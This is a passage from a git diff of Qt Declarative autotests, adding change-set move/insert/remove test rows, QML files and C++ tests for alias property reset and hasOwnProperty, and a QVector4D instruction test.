+ << (SignalList() << Remove(12,5,0) << Remove(12,1,1) << Insert(5,5,0) << Insert(10,4) << Insert(14,1,1));
+ QTest::newRow("m(12-5,6),i(16,4)")
+ << (SignalList() << Move(12,5,6) << Insert(16,4))
+ << (SignalList() << Remove(12,6,0) << Insert(5,6,0) << Insert(16,4));
+ QTest::newRow("m(12-5,6),i(13,4)")
+ << (SignalList() << Move(12,5,6) << Insert(13,4))
+ << (SignalList() << Remove(12,6,0) << Insert(5,6,0) << Insert(13,4));
+ QTest::newRow("m(12-5,6),i(14,4)")
+ << (SignalList() << Move(12,5,6) << Insert(14,4))
+ << (SignalList() << Remove(12,6,0) << Insert(5,6,0) << Insert(14,4));
+ QTest::newRow("m(12-5,6),i(12,4)")
+ << (SignalList() << Move(12,5,6) << Insert(12,4))
+ << (SignalList() << Remove(12,6,0) << Insert(5,6,0) << Insert(12,4));
+ QTest::newRow("m(12-5,6),i(11,8)")
+ << (SignalList() << Move(12,5,6) << Insert(11,8))
+ << (SignalList() << Remove(12,6,0) << Insert(5,6,0) << Insert(11,8));
+ QTest::newRow("m(12-5,6),i(8,4)")
+ << (SignalList() << Move(12,5,6) << Insert(8,4))
+ << (SignalList() << Remove(12,3,0) << Remove(12,3,1) << Insert(5,3,0) << Insert(8,4) << Insert(12,3,1));
+ QTest::newRow("m(12-5,6),i(2,4)")
+ << (SignalList() << Move(12,5,6) << Insert(2,4))
+ << (SignalList() << Remove(12,6,0) << Insert(2,4) << Insert(9,6,0));
+ QTest::newRow("m(12-5,6),i(18,4)")
+ << (SignalList() << Move(12,5,6) << Insert(18,4))
+ << (SignalList() << Remove(12,6,0) << Insert(5,6,0) << Insert(18,4));
+ QTest::newRow("m(12-5,6),i(20,4)")
+ << (SignalList() << Move(12,5,6) << Insert(20,4))
+ << (SignalList() << Remove(12,6,0) << Insert(5,6,0) << Insert(20,4));
+
+ QTest::newRow("m(12-23,6),i(12,6)")
+ << (SignalList() << Move(12,23,6) << Insert(12,6))
+ << (SignalList() << Remove(12,6,0) << Insert(12,6) << Insert(29,6,0));
+ QTest::newRow("m(12-23,6),i(10,4)")
+ << (SignalList() << Move(12,23,6) << Insert(10,4))
+ << (SignalList() << Remove(12,6,0) << Insert(10,4) << Insert(27,6,0));
+ QTest::newRow("m(12-23,6),i(16,4)")
+ << (SignalList() << Move(12,23,6) << Insert(16,4))
+ << (SignalList() << Remove(12,6,0) << Insert(16,4) << Insert(27,6,0));
+ QTest::newRow("m(12-23,6),i(13,4)")
+ << (SignalList() << Move(12,23,6) << Insert(13,4))
+ << (SignalList() << Remove(12,6,0) << Insert(13,4) << Insert(27,6,0));
+ QTest::newRow("m(12-23,6),i(14,4)")
+ << (SignalList() << Move(12,23,6) << Insert(14,4))
+ << (SignalList() << Remove(12,6,0) << Insert(14,4) << Insert(27,6,0));
+ QTest::newRow("m(12-23,6),i(12,4)")
+ << (SignalList() << Move(12,23,6) << Insert(12,4))
+ << (SignalList() << Remove(12,6,0) << Insert(12,4) << Insert(27,6,0));
+ QTest::newRow("m(12-23,6),i(11,8)")
+ << (SignalList() << Move(12,23,6) << Insert(11,8))
+ << (SignalList() << Remove(12,6,0) << Insert(11,8) << Insert(31,6,0));
+ QTest::newRow("m(12-23,6),i(8,4)")
+ << (SignalList() << Move(12,23,6) << Insert(8,4))
+ << (SignalList() << Remove(12,6,0) << Insert(8,4) << Insert(27,6,0));
+ QTest::newRow("m(12-23,6),i(2,4)")
+ << (SignalList() << Move(12,23,6) << Insert(2,4))
+ << (SignalList() << Remove(12,6,0) << Insert(2,4) << Insert(27,6,0));
+ QTest::newRow("m(12-23,6),i(18,4)")
+ << (SignalList() << Move(12,23,6) << Insert(18,4))
+ << (SignalList() << Remove(12,6,0) << Insert(18,4) << Insert(27,6,0));
+ QTest::newRow("m(12-23,6),i(20,4)")
+ << (SignalList() << Move(12,23,6) << Insert(20,4))
+ << (SignalList() << Remove(12,6,0) << Insert(20,4) << Insert(27,6,0));
+
+ // Move,then remove
+ QTest::newRow("m(12-5,6),r(12,6)")
+ << (SignalList() << Move(12,5,6) << Remove(12,6))
+ << (SignalList() << Remove(6,6) << Remove(6,6,0) << Insert(5,6,0));
+ QTest::newRow("m(12-5,6),r(10,4)")
+ << (SignalList() << Move(12,5,6) << Remove(10,4))
+ << (SignalList() << Remove(5,3) << Remove(9,5,0) << Remove(9,1) << Insert(5,5,0));
+ QTest::newRow("m(12-5,6),r(16,4)")
+ << (SignalList() << Move(12,5,6) << Remove(16,4))
+ << (SignalList() << Remove(10,2) << Remove(10,6,0) << Remove(10,2) << Insert(5,6,0));
+ QTest::newRow("m(12-5,6),r(13,4)")
+ << (SignalList() << Move(12,5,6) << Remove(13,4))
+ << (SignalList() << Remove(7,4) << Remove(8,6,0) << Insert(5,6,0));
+ QTest::newRow("m(12-5,6),r(14,4)")
+ << (SignalList() << Move(12,5,6) << Remove(14,4))
+ << (SignalList() << Remove(8,4) << Remove(8,6,0) << Insert(5,6,0));
+ QTest::newRow("m(12-5,6),r(12,4)")
+ << (SignalList() << Move(12,5,6) << Remove(12,4))
+ << (SignalList() << Remove(6,4) << Remove(8,6,0) << Insert(5,6,0));
+ QTest::newRow("m(12-5,6),r(11,8)")
+ << (SignalList() << Move(12,5,6) << Remove(11,8))
+ << (SignalList() << Remove(5,7) << Remove(5,6,0) << Remove(5,1) << Insert(5,6,0));
+ QTest::newRow("m(12-5,6),r(8,4)")
+ << (SignalList() << Move(12,5,6) << Remove(8,4))
+ << (SignalList() << Remove(5,1) << Remove(11,3,0) << Remove(11,3) << Insert(5,3,0));
+ QTest::newRow("m(12-5,6),r(2,4)")
+ << (SignalList() << Move(12,5,6) << Remove(2,4))
+ << (SignalList() << Remove(2,3) << Remove(9,1) << Remove(9,5,0) << Insert(2,5,0));
+ QTest::newRow("m(12-5,6),r(6,4)")
+ << (SignalList() << Move(12,5,6) << Remove(6,4))
+ << (SignalList() << Remove(12,1,0) << Remove(12,4) << Remove(12,1,1) << Insert(5,1,0) << Insert(6,1,1));
+ QTest::newRow("m(12-5,6),r(18,4)")
+ << (SignalList() << Move(12,5,6) << Remove(18,4))
+ << (SignalList() << Remove(12,6,0) << Remove(12,4) << Insert(5,6,0));
+ QTest::newRow("m(12-5,6),r(20,4)")
+ << (SignalList() << Move(12,5,6) << Remove(20,4))
+ << (SignalList() << Remove(12,6,0) << Remove(14,4) << Insert(5,6,0));
+
+ QTest::newRow("m(12-23,6),r(12,6)")
+ << (SignalList() << Move(12,23,6) << Remove(12,6))
+ << (SignalList() << Remove(12,6,0) << Remove(12,6) << Insert(17,6,0));
+ QTest::newRow("m(12-23,6),r(10,4)")
+ << (SignalList() << Move(12,23,6) << Remove(10,4))
+ << (SignalList() << Remove(10,2) << Remove(10,6,0) << Remove(10,2) << Insert(19,6,0));
+ QTest::newRow("m(12-23,6),r(16,4)")
+ << (SignalList() << Move(12,23,6) << Remove(16,4))
+ << (SignalList() << Remove(12,6,0) << Remove(16,4) << Insert(19,6,0));
+ QTest::newRow("m(12-23,6),r(13,4)")
+ << (SignalList() << Move(12,23,6) << Remove(13,4))
+ << (SignalList() << Remove(12,6,0) << Remove(13,4) << Insert(19,6,0));
+ QTest::newRow("m(12-23,6),r(14,4)")
+ << (SignalList() << Move(12,23,6) << Remove(14,4))
+ << (SignalList() << Remove(12,6,0) << Remove(14,4) << Insert(19,6,0));
+ QTest::newRow("m(12-23,6),r(12,4)")
+ << (SignalList() << Move(12,23,6) << Remove(12,4))
+ << (SignalList() << Remove(12,6,0) << Remove(12,4) << Insert(19,6,0));
+ QTest::newRow("m(12-23,6),r(11,8)")
+ << (SignalList() << Move(12,23,6) << Remove(11,8))
+ << (SignalList() << Remove(11,1) << Remove(11,6,0) << Remove(11,7) << Insert(15,6,0));
+ QTest::newRow("m(12-23,6),r(8,4)")
+ << (SignalList() << Move(12,23,6) << Remove(8,4))
+ << (SignalList() << Remove(8,4) << Remove(8,6,0) << Insert(19,6,0));
+ QTest::newRow("m(12-23,6),r(2,4)")
+ << (SignalList() << Move(12,23,6) << Remove(2,4))
+ << (SignalList() << Remove(2,4) << Remove(8,6,0) << Insert(19,6,0));
+ QTest::newRow("m(12-23,6),r(18,4)")
+ << (SignalList() << Move(12,23,6) << Remove(18,4))
+ << (SignalList() << Remove(12,6,0) << Remove(18,4) << Insert(19,6,0));
+ QTest::newRow("m(12-23,6),r(20,4)")
+ << (SignalList() << Move(12,23,6) << Remove(20,4))
+ << (SignalList() << Remove(12,1) << Remove(12,5,0) << Remove(20,3) << Insert(20,5,0));
}
void tst_qdeclarativemodelchange::sequence()
@@ -560,24 +733,22 @@ void tst_qdeclarativemodelchange::sequence()
foreach (const Signal &signal, input) {
if (signal.isRemove())
- set.insertRemove(signal.start, signal.end);
+ set.remove(signal.index, signal.count);
else if (signal.isInsert())
- set.insertInsert(signal.start, signal.end);
+ set.insert(signal.index, signal.count);
else if (signal.isMove())
- set.insertMove(signal.start, signal.end, signal.to);
+ set.move(signal.index, signal.to, signal.count);
else if (signal.isChange())
- set.insertChange(signal.start, signal.end);
+ set.change(signal.index, signal.count);
}
SignalList changes;
foreach (const QDeclarativeChangeSet::Remove &remove, set.removes())
- changes << Remove(remove.start, remove.end);
+ changes << Remove(remove.index, remove.count, remove.moveId);
foreach (const QDeclarativeChangeSet::Insert &insert, set.inserts())
- changes << Insert(insert.start, insert.end);
- foreach (const QDeclarativeChangeSet::Move &move, set.moves())
- changes << Move(move.start, move.end, move.to);
+ changes << Insert(insert.index, insert.count, insert.moveId);
foreach (const QDeclarativeChangeSet::Change &change, set.changes())
- changes << Change(change.start, change.end);
+ changes << Change(change.index, change.count);
#ifdef VERIFY_EXPECTED_OUTPUT
QVector<int> list;
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/AliasPropertyComponent.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/AliasPropertyComponent.qml
new file mode 100644
index 0000000000..9135e79469
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/AliasPropertyComponent.qml
@@ -0,0 +1,17 @@
+import QtQuick 2.0
+
+Item {
+ id: apc
+ property alias sourceComponent: loader.sourceComponent
+
+ Component {
+ id: redSquare
+ Rectangle { color: "red"; width: 10; height: 10 }
+ }
+
+ Loader {
+ id: loader
+ objectName: "loader"
+ sourceComponent: redSquare
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.1.qml
new file mode 100644
index 0000000000..a27c16dd2e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.1.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+Item {
+ id: first
+ property bool aliasIsUndefined: false
+ property alias sourceComponentAlias: loader.sourceComponent
+
+ Component {
+ id: redSquare
+ Rectangle { color: "red"; width: 10; height: 10 }
+ }
+
+ Loader {
+ id: loader
+ sourceComponent: redSquare
+ }
+
+ function resetAliased() {
+ loader.sourceComponent = undefined;
+ aliasIsUndefined = (sourceComponentAlias == undefined);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.2.qml
new file mode 100644
index 0000000000..fa2bb5eb6d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.2.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+Item {
+ id: first
+ property bool loaderSourceComponentIsUndefined: false
+ property alias sourceComponentAlias: loader.sourceComponent
+
+ Component {
+ id: redSquare
+ Rectangle { color: "red"; width: 10; height: 10 }
+ }
+
+ Loader {
+ id: loader
+ sourceComponent: redSquare
+ }
+
+ function resetAlias() {
+ sourceComponentAlias = undefined;
+ loaderSourceComponentIsUndefined = (loader.sourceComponent == undefined);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.3.qml
new file mode 100644
index 0000000000..4fa6861b08
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.3.qml
@@ -0,0 +1,31 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+Item {
+ id: first
+ property bool loaderTwoSourceComponentIsUndefined: false
+ property bool loaderOneSourceComponentIsUndefined: false
+ property alias sourceComponentAlias: loaderOne.sourceComponent
+
+ Component {
+ id: redSquare
+ Rectangle { color: "red"; width: 10; height: 10 }
+ }
+
+ Loader {
+ id: loaderOne
+ sourceComponent: loaderTwo.sourceComponent
+ }
+
+ Loader {
+ id: loaderTwo
+ sourceComponent: redSquare
+ x: 15
+ }
+
+ function resetAlias() {
+ sourceComponentAlias = undefined; // loaderOne.sourceComponent should be set to undefined instead of l2.sc
+ loaderOneSourceComponentIsUndefined = (loaderOne.sourceComponent == undefined); // should be true
+ loaderTwoSourceComponentIsUndefined = (loaderTwo.sourceComponent == undefined); // should be false
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.4.qml
new file mode 100644
index 0000000000..56fcc2ec7c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.4.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+Item {
+ id: first
+ property alias sourceComponentAlias: loader.sourceComponent
+
+ Component {
+ id: redSquare
+ Rectangle { color: "red"; width: 10; height: 10 }
+ }
+
+ Loader {
+ id: loader
+ objectName: "loader"
+ sourceComponent: redSquare
+ }
+
+ function resetAlias() {
+ sourceComponentAlias = undefined; // ensure we don't crash after deletion of loader.
+ }
+
+ function setAlias() {
+ sourceComponentAlias = redSquare;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.5.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.5.qml
new file mode 100644
index 0000000000..a046bbf504
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.5.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+Item {
+ id: root
+
+ AliasPropertyComponent {
+ sourceComponent: returnsUndefined()
+ }
+
+ function returnsUndefined() {
+ return undefined;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.error.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.error.1.qml
new file mode 100644
index 0000000000..22311d6bb3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.error.1.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyQmlObject {
+ id: first
+ property bool aliasedIntIsUndefined: false
+ property alias intAlias: objprop.intp
+
+ objectProperty: QtObject {
+ id: objprop
+ property int intp: 12
+ }
+
+ function resetAlias() {
+ intAlias = undefined; // should error
+ aliasedIntIsUndefined = (objprop.intp == undefined);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/declarativeHasOwnProperty.qml b/tests/auto/declarative/qdeclarativeecmascript/data/declarativeHasOwnProperty.qml
new file mode 100644
index 0000000000..12598b3b9f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/declarativeHasOwnProperty.qml
@@ -0,0 +1,72 @@
+import QtQuick 2.0
+import Qt.test 1.0
+import Qt.test.qobjectApi 1.0 as QtTestQObjectApi
+
+Item {
+ id: obj
+ objectName: "objName"
+ property int someIntProperty: 10
+ property bool result: false
+
+ function testHasOwnPropertySuccess()
+ {
+ obj.result = obj.hasOwnProperty("someIntProperty");
+ }
+
+ function testHasOwnPropertyFailure()
+ {
+ obj.result = obj.hasOwnProperty("someNonexistentProperty");
+ }
+
+ MyTypeObject {
+ id: typeObj
+ objectName: "typeObj"
+ pointProperty: Qt.point(34, 29)
+ variantProperty: Qt.vector3d(1, 2, 3)
+ stringProperty: "test string"
+ property list<Rectangle> listProperty: [ Rectangle { width: 10; height: 10 } ]
+ property list<Rectangle> emptyListProperty
+
+ property bool valueTypeHasOwnProperty
+ property bool valueTypeHasOwnProperty2
+ property bool variantTypeHasOwnProperty
+ property bool stringTypeHasOwnProperty
+ property bool listTypeHasOwnProperty
+ property bool listAtValidHasOwnProperty
+ property bool emptyListTypeHasOwnProperty
+ property bool enumTypeHasOwnProperty
+ property bool typenameHasOwnProperty
+ property bool typenameHasOwnProperty2
+ property bool moduleApiTypeHasOwnProperty
+ property bool moduleApiPropertyTypeHasOwnProperty
+ function testHasOwnPropertySuccess() {
+ valueTypeHasOwnProperty = !typeObj.pointProperty.hasOwnProperty("nonexistentpropertyname");
+ valueTypeHasOwnProperty2 = typeObj.pointProperty.hasOwnProperty("x"); // should be true
+ variantTypeHasOwnProperty = !typeObj.variantProperty.hasOwnProperty("nonexistentpropertyname");
+ stringTypeHasOwnProperty = !typeObj.stringProperty.hasOwnProperty("nonexistentpropertyname");
+ listTypeHasOwnProperty = !typeObj.listProperty.hasOwnProperty("nonexistentpropertyname");
+ listAtValidHasOwnProperty = !typeObj.listProperty[0].hasOwnProperty("nonexistentpropertyname");
+ emptyListTypeHasOwnProperty = !typeObj.emptyListProperty.hasOwnProperty("nonexistentpropertyname");
+ enumTypeHasOwnProperty = !MyTypeObject.EnumVal1.hasOwnProperty("nonexistentpropertyname");
+ typenameHasOwnProperty = !MyTypeObject.hasOwnProperty("nonexistentpropertyname");
+ typenameHasOwnProperty2 = MyTypeObject.hasOwnProperty("EnumVal1"); // should be true.
+ moduleApiTypeHasOwnProperty = !QtTestQObjectApi.hasOwnProperty("nonexistentpropertyname");
+ moduleApiPropertyTypeHasOwnProperty = !QtTestQObjectApi.qobjectTestProperty.hasOwnProperty("nonexistentpropertyname");
+ }
+
+ property bool enumNonValueHasOwnProperty
+ function testHasOwnPropertyFailureOne() {
+ enumNonValueHasOwnProperty = !MyTypeObject.NonexistentEnumVal.hasOwnProperty("nonexistentpropertyname");
+ }
+
+ property bool moduleApiNonPropertyHasOwnProperty
+ function testHasOwnPropertyFailureTwo() {
+ moduleApiNonPropertyHasOwnProperty = !QtTestQObjectApi.someNonexistentProperty.hasOwnProperty("nonexistentpropertyname");
+ }
+
+ property bool listAtInvalidHasOwnProperty
+ function testHasOwnPropertyFailureThree() {
+ listAtInvalidHasOwnProperty = !typeObj.listProperty[5].hasOwnProperty("nonexistentpropertyname");
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
index 6c629a80f7..3efe18909c 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
+++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
@@ -104,6 +104,7 @@ private slots:
void constantsOverrideBindings();
void outerBindingOverridesInnerBinding();
void aliasPropertyAndBinding();
+ void aliasPropertyReset();
void nonExistentAttachedObject();
void scope();
void importScope();
@@ -113,6 +114,7 @@ private slots:
void dynamicCreation();
void dynamicDestruction();
void objectToString();
+ void objectHasOwnProperty();
void selfDeletingBinding();
void extendedObjectPropertyLookup();
void scriptErrors();
@@ -1037,6 +1039,87 @@ void tst_qdeclarativeecmascript::aliasPropertyAndBinding()
delete object;
}
+/*
+Ensure that we can write undefined value to an alias property,
+and that the aliased property is reset correctly if possible.
+*/
+void tst_qdeclarativeecmascript::aliasPropertyReset()
+{
+ QObject *object = 0;
+
+ // test that a manual write (of undefined) to a resettable aliased property succeeds
+ QDeclarativeComponent c1(&engine, TEST_FILE("aliasreset/aliasPropertyReset.1.qml"));
+ object = c1.create();
+ QVERIFY(object != 0);
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() != 0);
+ QCOMPARE(object->property("aliasIsUndefined"), QVariant(false));
+ QMetaObject::invokeMethod(object, "resetAliased");
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() == 0);
+ QCOMPARE(object->property("aliasIsUndefined"), QVariant(true));
+ delete object;
+
+ // test that a manual write (of undefined) to a resettable alias property succeeds
+ QDeclarativeComponent c2(&engine, TEST_FILE("aliasreset/aliasPropertyReset.2.qml"));
+ object = c2.create();
+ QVERIFY(object != 0);
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() != 0);
+ QCOMPARE(object->property("loaderSourceComponentIsUndefined"), QVariant(false));
+ QMetaObject::invokeMethod(object, "resetAlias");
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() == 0);
+ QCOMPARE(object->property("loaderSourceComponentIsUndefined"), QVariant(true));
+ delete object;
+
+ // test that an alias to a bound property works correctly
+ QDeclarativeComponent c3(&engine, TEST_FILE("aliasreset/aliasPropertyReset.3.qml"));
+ object = c3.create();
+ QVERIFY(object != 0);
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() != 0);
+ QCOMPARE(object->property("loaderOneSourceComponentIsUndefined"), QVariant(false));
+ QCOMPARE(object->property("loaderTwoSourceComponentIsUndefined"), QVariant(false));
+ QMetaObject::invokeMethod(object, "resetAlias");
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() == 0);
+ QCOMPARE(object->property("loaderOneSourceComponentIsUndefined"), QVariant(true));
+ QCOMPARE(object->property("loaderTwoSourceComponentIsUndefined"), QVariant(false));
+ delete object;
+
+ // test that a manual write (of undefined) to a resettable alias property
+ // whose aliased property's object has been deleted, does not crash.
+ QDeclarativeComponent c4(&engine, TEST_FILE("aliasreset/aliasPropertyReset.4.qml"));
+ object = c4.create();
+ QVERIFY(object != 0);
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() != 0);
+ QObject *loader = object->findChild<QObject*>("loader");
+ QVERIFY(loader != 0);
+ delete loader;
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() == 0); // deletion should have caused value unset.
+ QMetaObject::invokeMethod(object, "resetAlias"); // shouldn't crash.
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() == 0);
+ QMetaObject::invokeMethod(object, "setAlias"); // shouldn't crash, and shouldn't change value (since it's no longer referencing anything).
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() == 0);
+ delete object;
+
+ // test that binding an alias property to an undefined value works correctly
+ QDeclarativeComponent c5(&engine, TEST_FILE("aliasreset/aliasPropertyReset.5.qml"));
+ object = c5.create();
+ QVERIFY(object != 0);
+ QVERIFY(object->property("sourceComponentAlias").value<QDeclarativeComponent*>() == 0); // bound to undefined value.
+ delete object;
+
+ // test that a manual write (of undefined) to a non-resettable property fails properly
+ QUrl url = TEST_FILE("aliasreset/aliasPropertyReset.error.1.qml");
+ QString warning1 = url.toString() + QLatin1String(":15: Error: Cannot assign [undefined] to int");
+ QDeclarativeComponent e1(&engine, url);
+ object = e1.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("intAlias").value<int>(), 12);
+ QCOMPARE(object->property("aliasedIntIsUndefined"), QVariant(false));
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QMetaObject::invokeMethod(object, "resetAlias");
+ QCOMPARE(object->property("intAlias").value<int>(), 12);
+ QCOMPARE(object->property("aliasedIntIsUndefined"), QVariant(false));
+ delete object;
+}
+
void tst_qdeclarativeecmascript::dynamicCreation_data()
{
QTest::addColumn<QString>("method");
@@ -1141,6 +1224,55 @@ void tst_qdeclarativeecmascript::objectToString()
}
/*
+ tests that id.hasOwnProperty() works
+*/
+void tst_qdeclarativeecmascript::objectHasOwnProperty()
+{
+ QUrl url = TEST_FILE("declarativeHasOwnProperty.qml");
+ QString warning1 = url.toString() + ":59: TypeError: Cannot call method 'hasOwnProperty' of undefined";
+ QString warning2 = url.toString() + ":64: TypeError: Cannot call method 'hasOwnProperty' of undefined";
+ QString warning3 = url.toString() + ":69: TypeError: Cannot call method 'hasOwnProperty' of undefined";
+
+ QDeclarativeComponent component(&engine, url);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ // test QObjects in QML
+ QMetaObject::invokeMethod(object, "testHasOwnPropertySuccess");
+ QVERIFY(object->property("result").value<bool>() == true);
+ QMetaObject::invokeMethod(object, "testHasOwnPropertyFailure");
+ QVERIFY(object->property("result").value<bool>() == false);
+
+ // now test other types in QML
+ QObject *child = object->findChild<QObject*>("typeObj");
+ QVERIFY(child != 0);
+ QMetaObject::invokeMethod(child, "testHasOwnPropertySuccess");
+ QCOMPARE(child->property("valueTypeHasOwnProperty").toBool(), true);
+ QCOMPARE(child->property("valueTypeHasOwnProperty2").toBool(), true);
+ QCOMPARE(child->property("variantTypeHasOwnProperty").toBool(), true);
+ QCOMPARE(child->property("stringTypeHasOwnProperty").toBool(), true);
+ QCOMPARE(child->property("listTypeHasOwnProperty").toBool(), true);
+ QCOMPARE(child->property("emptyListTypeHasOwnProperty").toBool(), true);
+ QCOMPARE(child->property("enumTypeHasOwnProperty").toBool(), true);
+ QCOMPARE(child->property("typenameHasOwnProperty").toBool(), true);
+ QCOMPARE(child->property("typenameHasOwnProperty2").toBool(), true);
+ QCOMPARE(child->property("moduleApiTypeHasOwnProperty").toBool(), true);
+ QCOMPARE(child->property("moduleApiPropertyTypeHasOwnProperty").toBool(), true);
+
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QMetaObject::invokeMethod(child, "testHasOwnPropertyFailureOne");
+ QCOMPARE(child->property("enumNonValueHasOwnProperty").toBool(), false);
+ QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+ QMetaObject::invokeMethod(child, "testHasOwnPropertyFailureTwo");
+ QCOMPARE(child->property("moduleApiNonPropertyHasOwnProperty").toBool(), false);
+ QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+ QMetaObject::invokeMethod(child, "testHasOwnPropertyFailureThree");
+ QCOMPARE(child->property("listAtInvalidHasOwnProperty").toBool(), false);
+
+ delete object;
+}
+
+/*
Tests bindings that indirectly cause their own deletion work.
This test is best run under valgrind to ensure no invalid memory access occur.
diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
index e6e87d1bbd..f432cbff49 100644
--- a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
+++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
@@ -63,6 +63,7 @@ private slots:
void rect();
void rectf();
void vector3d();
+ void vector4d();
void time();
};
@@ -682,6 +683,24 @@ void tst_qdeclarativeinstruction::vector3d()
QCOMPARE(vector.z(), (qreal)(float)12.0);
}
+void tst_qdeclarativeinstruction::vector4d()
+{
+ QCOMPARE(sizeof(QDeclarativeInstruction::instr_storeVector4D::QVector4D), sizeof(QVector4D));
+ QCOMPARE(Q_ALIGNOF(QDeclarativeInstruction::instr_storeVector4D::QVector4D), Q_ALIGNOF(QVector4D));
+
+ QDeclarativeInstruction i;
+ i.storeVector4D.vector.xp = 8.2;
+ i.storeVector4D.vector.yp = 99.3;
+ i.storeVector4D.vector.zp = 12.0;
+ i.storeVector4D.vector.wp = 121.1;
+
+ const QVector4D &vector = (const QVector4D &)(i.storeVector4D.vector);
+ QCOMPARE(vector.x(), (qreal)(float)8.2);
+ QCOMPARE(vector.y(), (qreal)(float)99.3);
+ QCOMPARE(vector.z(), (qreal)(float)12.0);
+ QCOMPARE(vector.w(), (qreal)(float)121.1);
+}
+
void tst_qdeclarativeinstruction::time()
{
QCOMPARE(sizeof(QDeclarativeInstruction::instr_storeTime::QTime), sizeof(QTime));
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml
index 9fe0ded459..2313499d19 100644
--- a/tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml
@@ -21,6 +21,7 @@ MyTypeObject {
boolProperty: true
variantProperty: "Hello World!"
vectorProperty: "10,1,2.2"
+ vector4Property: "10,1,2.2,2.3"
urlProperty: "main.qml"
objectProperty: MyTypeObject { intProperty: 8 }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml
index de476ae47f..f6f9a139dc 100644
--- a/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml
@@ -12,5 +12,6 @@ QtObject {
property variant test9: String("#FF008800")
property variant test10: true
property variant test11: false
+ property variant test12: "100,100,100,100"
}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt
index c5860a2f4b..8226c16a1e 100644
--- a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt
